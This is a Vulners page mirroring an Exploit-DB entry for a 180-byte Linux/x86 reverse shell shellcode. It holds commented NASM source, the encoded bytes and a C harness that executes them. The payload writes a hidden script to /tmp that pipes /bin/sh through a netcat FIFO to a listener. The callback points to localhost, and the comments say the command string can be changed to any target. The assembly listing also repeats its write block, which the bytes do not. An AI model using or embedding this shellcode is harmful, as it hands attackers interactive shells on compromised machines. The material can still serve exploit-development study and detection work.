Lucene search
K

Linux/x86 - Netcat (-e option disabled) Reverse Shell Shellcode (180 bytes)

🗓️ 05 Dec 2016 00:00:00Reported by Exploit-DBType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

Linux/x86 Reverse Shell Shellcode for Netca

Code
/*
;author:    Filippo "zinzloun" Bersani
;date:      05/12/2016
;version:   1.0
;X86 Assembly/NASM Syntax
;tested on: Linux OpenSuse001 2.6.34-12-desktop 32bit
;           Linux ubuntu 3.13.0-100-generic #147~precise1-Ubuntu 32bit
;           Linux bb32 4.4.0-45-generic 32bit
 
; description:
	get a reverse shell executing a shell script saved in tmp that execute netcat that reverse the shell to the listener,
	considering that by now the default nc configuration does not permitt to execute (-e) command directly anymore 
	this is a different approach that permitt to execute not only netcat.
	LIMITATION: size of the shellcode; the attacker has to have gained the privilege to execute commmand (/bin/bash)

 
 
; see comment for details

global _start

section .text
_start:
    
	
CreateFile:
	xor eax, eax			;zeroing
   	xor edx, edx	
   	push eax         		;NULL byte as string terminator
   	push 0x65782e2f   		;name of file to be executed /tmp/.xe
   	push 0x706d742f       
   	mov ebx, esp       		;ebx point to pushed string
	mov esi, esp	   		;save the name of the file for a later use
	mov al,0x8				;create the file...
	mov cl,077o				;...with 77 permission in octal (to avoid 0)
	int 0x80

	jmp CallPop		

WriteString:            
	
	pop ecx					;get the command string to write in the file, 3rd arg   	
	mov ebx,eax         	;save the returned value of the previous sys call (fd) into ebx, 2nd arg
	mov dl,0x09         	;now we put value $0x09 into dl...
   	inc  dl             	;0x09 + 1 == 0x0A, get the bad Line feed char ;)
	mov byte [ecx+92],dl 	;replace our R char with 0x0A *
	
	xor edx,edx
	mov dl,93    			;len of the buffer to write, 4th arg **
	mov al,0x04				;sys call to write the file
	int 0x80
	mov ebx,eax         	;save the returned value of the previous sys call (fd) into ebx, 2nd arg
	mov dl,0x09         	;now we put value $0x09 into dl...
   	inc  dl             	;0x09 + 1 == 0x0A, get the bad Line feed char ;)
	mov byte [ecx+92],dl    ;replace our R char with 0x0A *
	
	xor edx,edx
	mov dl,93    		;len of the buffer to write, 4th arg **
	mov al,0x04			;sys call to write the file
	int 0x80

CloseFile:
	xor eax,eax
    mov al, 0x6			;close the stream file
	int 0x80

ExecFile:
	xor eax, eax
	push eax			;push null into the stack
						;push ////bin/bash into the stack
	push 0x68736162
	push 0x2f6e6962
	push 0x2f2f2f2f
		
	mov ebx,esp			;set the 1st arg /bin/bash from the stack
						;set up the args array
	push eax 			; null
	push esi 			; get the saved pointer to the /tmp/.xe 
	push ebx 			; pointer to /bin/bash
	mov ecx, esp 		;set the args
	
	xor edx,edx		
	mov al, 0xb			;sys call 11 to execute the file
	int 0x80

CallPop:
 call  WriteString
 ;this string can be configured to execute other command too, you have only to adjust the length of the buffer (**) and the index of the char (R) to replace (*) 
 ;according to the length of the string
 db "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /bin/nc  localhost 9999 > /tmp/fR"	
 
*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xd2\x50\x68\x2f\x2e\x78\x65\x68\x2f\x74\x6d\x70\x89\xe3\x89\xe6\xb0\x08\xb1\x3f\xcd\x80\xeb\x37\x59\x89"
"\xc3\xb2\x09\xfe\xc2\x88\x51\x5c\x31\xd2\xb2\x5d\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\x50\x68\x62\x61\x73\x68\x68"
"\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x56\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xc4\xff\xff\xff\x72\x6d\x20\x2d\x66"
"\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x20\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x20\x63\x61\x74\x20\x2f\x74\x6d\x70\x2f"
"\x66\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x20\x32\x3e\x26\x31\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x6e\x63\x20\x20\x6c\x6f"
"\x63\x61\x6c\x68\x6f\x73\x74\x20\x39\x39\x39\x39\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x66\x52";
main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation